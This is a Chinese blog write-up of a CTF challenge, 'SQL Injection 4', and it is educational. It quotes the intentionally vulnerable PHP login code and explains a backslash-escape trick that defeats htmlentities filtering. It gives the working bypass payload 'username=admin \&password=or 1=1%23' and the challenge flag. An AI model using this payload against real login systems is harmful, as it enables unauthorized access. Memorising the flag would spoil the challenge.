南京邮电SQL Injection 4

欢迎扫码关注微信公众号
在这里插入图片描述

题目地址:
http://ctf.nuptzj.cn/challenges#sql%20injection%204 SQL Injection 4

Ctrl + U查看源代码:


<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;
-->
Invalid password!

注意上面clean function中的htmlentities()函数,它会把输入字符中的 ’ 或者 " 转变为html实体,这样一来就无法闭合源代码中的 ’ 了,还有就是,如果php的magic_quotes_gpc是开启状态的话,我们输入的转义符也会被去掉的,不过既然这道题目能做,说明我们是可以使用转义符 \ ,我们解这道题的关键就是使用转义符 \ 来让源代码中
'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'
$username后面的 ’ 失效,只要 这个 ’ 失效,就能闭合**name=**后面的 ’ ,要达到这一目的,我们只需要让username=admin \即可,让后使password的值为一个永真式(or 1=1)就可以得到这道题的flag
这样提交的数据,会导致源代码中的SQL语句变为:

SELECT * FROM users WHERE name='admin \' AND pass=' or 1=1

注入语句?username=admin \&password=or 1=1%23
%23是#的URL编码
falg:

flag:nctf{sql_injection_is_interesting}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值